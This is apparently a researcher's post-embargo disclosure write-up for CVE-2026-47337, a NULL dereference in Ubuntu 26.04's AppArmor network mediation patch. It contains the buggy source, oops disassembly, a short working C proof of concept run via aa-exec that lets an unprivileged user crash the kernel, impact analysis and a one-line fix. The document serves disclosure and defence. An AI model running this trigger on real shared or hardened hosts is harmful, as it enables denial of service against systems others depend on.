CVE-2026-47337: one bind() and Ubuntu's AppArmor 5.0 walks off a NULL
Ubuntu Resolute (26.04 LTS) ships an AppArmor 5.0 extension that exists only in
the Ubuntu kernel tree: a ~1500-line "fine grained ipv4/ipv6 mediation"
SAUCE patch. Inside it is a function that dereferences a pointer one branch
before it gets assigned. Any unprivileged user can ride that pointer into a
kernel oops with a single bind() syscall — no userns, no
capabilities, no kernel modules, no sudo. aa-exec(8) is in
$PATH and the unprivileged_userns profile is preloaded;
that's the whole prerequisite list.
$ aa-exec -p unprivileged_userns -- ./poc
Killed
$ dmesg | tail
... BUG: kernel NULL pointer dereference, address: 0x4
... RIP: aa_inet_bind_perm+0x188/0x3a0
... UID: 1000 PID: ... Comm: poc
This is purely Canonical SAUCE. The function does not exist in upstream Linux, and no other distribution is affected. Reported to Ubuntu Security on 2026-04-27, fixed and embargo-lifted on 2026-05-28, assigned CVE-2026-47337 through Ubuntu's CNA.
TL;DR
bind_map_addr()insecurity/apparmor/af_inet.cdeclaresstruct sockaddr_in *addr4 = NULL;and only assigns it in theAF_INETarm of a family switch.- The
AF_UNSPECarm runs first and dereferencesaddr4->sin_addr.s_addrwhileaddr4is still the NULL initialiser. CR2 lands on0x4—offsetof(struct sockaddr_in, sin_addr.s_addr). - Trigger: bind an
AF_INETsocket withsa_family = AF_UNSPECand any non-zerosin_addr, from a process confined under a profile that mediatesAA_CLASS_NET. - The stock
unprivileged_usernsprofile mediates net, ships by default, and is reachable by any user viaaa-exec -p. So the prerequisite reduces to "a normal user typing four words at a prompt." panic_on_oops=0(default): the task dies, kernel taints, life goes on — repeatable as fast asfork()returns.panic_on_oops=1(kernel-CI, lockdown, hardened-server profiles): full host DoS.- Fix is one line. Confirmed on
linux-image-7.0.0-14-generic.
The bug
security/apparmor/af_inet.c, around line 175,
bind_map_addr(). Here it is, trimmed to the relevant arms:
static int bind_map_addr(const struct sock *sk,
struct sockaddr *addr, int addrlen,
struct match_addr *maddr,
struct apparmor_audit_data *ad)
{
struct sockaddr_in *addr4 = NULL; /* <-- declared NULL */
struct sockaddr_in6 *addr6 = NULL;
u16 family;
...
switch (addr->sa_family) {
case AF_UNSPEC:
if (sk->sk_family == PF_INET6) {
if (addrlen < SIN6_LEN_RFC2133)
return -EINVAL;
return -EAFNOSUPPORT;
}
/* see __inet_bind(), we only want to allow
* AF_UNSPEC if the address is INADDR_ANY
*/
if (addr4->sin_addr.s_addr != htonl(INADDR_ANY))
/* <-- addr4 is still NULL here */
return -EAFNOSUPPORT;
family = AF_INET;
fallthrough;
case AF_INET:
addr4 = (struct sockaddr_in *)addr; /* <-- assignment lives HERE, */
... /* one branch too late. */
The author meant to mirror upstream __inet_bind()'s rule that an
AF_UNSPEC bind is only permitted when the address is
INADDR_ANY. They wrote the cast in the AF_INET arm. The check
sits in the AF_UNSPEC arm and runs first. When
sk->sk_family != PF_INET6 you walk straight off the end of NULL and
read four bytes at offset 0x4 — the sin_addr.s_addr of
the sockaddr_in that was never there.
map_addr() ten lines above does the exact same parse
correctly, so this reads like a copy/paste where the cast ended up in the wrong
arm — the kind of thing that's easy to miss without a test that exercises
the AF_UNSPEC path.
The faulting instruction
You don't have to take the source's word for it — the oops disassembly
spells it out. The compiler folded
addr4->sin_addr.s_addr with addr4 == NULL into an
absolute load from the immediate address 0x4:
RIP: 0010:aa_inet_bind_perm+0x188/0x3a0
Code: ... 0f 84 e9 01 00 00 <8b> 0c 25 04 00 00 00 85 c9 ...
^^^^^^^^^^^^^^^^^^^^^
mov ecx, DWORD PTR ds:0x4
CR2: 0000000000000004
8b 0c 25 04 00 00 00 is mov ecx,[0x4] with no base
register — a hard-coded read of kernel virtual address 4. That is exactly
what addr4->sin_addr.s_addr compiles to when the base pointer is a
compile-time-unknown NULL and the field offset is 4. bind_map_addr()
gets inlined into aa_inet_bind_perm, which is why the RIP shows the
caller.
Reachability
sys_bind
-> security_socket_bind
-> apparmor_socket_bind (PF_INET branch)
-> aa_inet_bind_perm
-> sk_has_perm1(...) <-- short-circuits for unconfined labels
-> bind_map_addr <-- BOOM
The one gate is that the calling label has to actually mediate
AA_CLASS_NET. A bare unconfined login shell does not, so you can't
just compile and run the PoC from your $HOME and expect a crash.
But aa-exec(8) into the unprivileged_userns profile —
shipped by default on Resolute, the same profile from
the userns-mitigation-bypass post — does
mediate net. No caps, no userns creation, no setuid, no group membership.
And it's loud. trinity --group=net running as the same unprivileged
user random-walks sa_family into this within a couple of minutes, cold.
If you fuzz Resolute at all you have probably already hit it and written it off
as "some apparmor thing."
Repro
The entire exploit is 88 lines and most of them are the comment block. The operative part:
#include <sys/socket.h>
#include <netinet/in.h>
#include <arpa/inet.h>
int main(void) {
int s = socket(AF_INET, SOCK_DGRAM, 0);
struct sockaddr_in sa = { .sin_family = AF_UNSPEC,
.sin_addr.s_addr = htonl(0xdeadbeef) };
return bind(s, (struct sockaddr *)&sa, sizeof(sa));
}
$ gcc -O2 -o poc poc.c
$ aa-exec -p unprivileged_userns -- ./poc
Killed
$ sudo dmesg | tail -20
[ 4331.673012] BUG: kernel NULL pointer dereference, address: 0000000000000004
[ 4331.675354] #PF: supervisor read access in kernel mode
[ 4331.676949] #PF: error_code(0x0000) - not-present page
[ 4331.679547] Oops: Oops: 0000 [#1] SMP PTI
[ 4331.680869] CPU: 2 UID: 1000 PID: 6090 Comm: poc Tainted: G
[ 4331.687982] RIP: 0010:aa_inet_bind_perm+0x188/0x3a0
[ 4331.711249] CR2: 0000000000000004
[ 4331.713373] Call Trace:
[ 4331.715146] apparmor_socket_bind+0x68/0x80
[ 4331.716516] security_socket_bind+0x8a/0x1b0
[ 4331.717917] __sys_bind+0xa5/0x130
[ 4331.719104] __x64_sys_bind+0x18/0x30
[ 4331.722894] do_syscall_64+0x115/0x5a0
[ 4331.727090] entry_SYSCALL_64_after_hwframe+0x76/0x7e
That's it. That's the whole thing. Full dmesg from a clean install
— including the change_onexec ... name="unprivileged_userns" audit
line that immediately precedes each oops, three crashes back to back from a loop
— is in oops-splat.log
below.
Impact
It is what it looks like: a NULL deref, fixed offset 0x4, supervisor
read. mmap_min_addr=65536 by default so you can't map page 0 to plant
a fake sockaddr_in there, and KPTI keeps the kernel from reading your
user pages without an explicit usercopy.
What I do have:
- A reliable, one-shot, unprivileged kernel oops on a stock Resolute install.
- Repeatability as fast as
fork()returns. An ill-behaved tenant on a shared box can keep the AppArmor LSM hooks tainted indefinitely without trying hard, and every[#N]oops chips at the box's stability (the splat log shows[#1],[#2],[#3]in seconds). - On
panic_on_oops=1deployments — kernel-CI, lockdown, hardened-server profiles, anything that takes "oops == problem" seriously — full host DoS from an unprivileged local user.
Classification: CWE-476 NULL pointer dereference, local DoS, unprivileged
trigger, attack complexity nil. CVSSv3 around 5.5
(AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H); the
panic_on_oops=1 case bumps the availability story considerably.
Yes, I know NULL derefs aren't sexy. This one lives in the LSM hook that runs
on every bind() in every container on
every host that ever loaded one of the dozens of stock Resolute
profiles. It's still worth a number, and Ubuntu agreed.
The fix
One line. Move the cast above the check:
--- a/security/apparmor/af_inet.c
+++ b/security/apparmor/af_inet.c
@@ -200,6 +200,7 @@ static int bind_map_addr(const struct sock *sk,
return -EINVAL;
return -EAFNOSUPPORT;
}
+ addr4 = (struct sockaddr_in *)addr;
/* see __inet_bind(), we only want to allow
* AF_UNSPEC if the address is INADDR_ANY
*/
if (addr4->sin_addr.s_addr != htonl(INADDR_ANY))
return -EAFNOSUPPORT;
While you're in there: also reject addrlen < sizeof(struct sockaddr_in)
before this check. Right now you can reach it with addrlen as low as
offsetofend(sa_family) and read off the end of whatever the user handed
you. map_addr() at line ~106 already does this — worth mirroring.
Postscript: it's a NULL deref, not a UAF
The artifacts and the original tarball are named aa-bind-uaf-* and the
crashing binary reports Comm: aa-bind-uaf. That's a fossil. My first
read of the splat — faulting on a small fixed address inside a freed-looking
parse path — made me reach for "use-after-free" before I'd actually read the
SAUCE source. It is not a UAF. The pointer was never assigned in the first
place; 0x4 is a struct offset off NULL, not a dangling allocation.
Mea culpa, the file names stuck. CWE-476, full stop.
Downloads
- poc.c — 88-line
standalone reproducer, public-domain.
gcc -O2 -o poc poc.c, thenaa-exec -p unprivileged_userns -- ./poc. - oops-splat.log
— full
dmesgfrom a clean Resolute install firing the bug (three oopses, with audit lines).
SHA-256:
808a817764bd80ae0269c3077701d57f41a3c6bf21a63ca7074a75d6daac6485 poc.c
58b05dde1f3cebd9c172338029e4398077854e36dd01acf1435b17066f15a0d0 oops-splat.log
Affected
- Ubuntu Resolute / 26.04 LTS, all kernels carrying the SAUCE patchset
"apparmor5.0.0 [N/M]: apparmor: net: add fine grained
ipv4/ipv6".
grep debian.master/changelogif unsure. - Reproduced on
linux-image-7.0.0-14-generic_7.0.0-14.14_amd64.deb(Ubuntu kernel git, branchresolute, file checked 2026-04-27). - All architectures where
CONFIG_SECURITY_APPARMOR=yand at least one profile mediatingAA_CLASS_NETis loaded. Stock Resolute ships dozens of such profiles. - Not affected: upstream Linux, and every distribution that isn't carrying this Canonical-only patch.
Timeline
| Date | Event |
|---|---|
| 2026-04-27 | Reported to security@ubuntu.com, cc John Johansen. PoC + full advisory + oops log attached. |
| 2026-05-28 | Embargo lifted by Ubuntu Security. CVE-2026-47337 assigned via Ubuntu's CNA. This writeup published. |
For once I held the details until patch and CVE publication instead of racing the embargo. (I have, ah, broken other people's embargoes unintentionally before — see Copy Fail 2 and the ssh-keysign-pwn n-day. Trying harder to be a responsible adult about this. It's a process.)
Thanks
Thanks to the Ubuntu Security team for handling this cleanly and quickly, for agreeing it was worth a number, and for being relaxed about the disclosure mechanics. Responsible disclosure works a lot better when the vendor meets you halfway.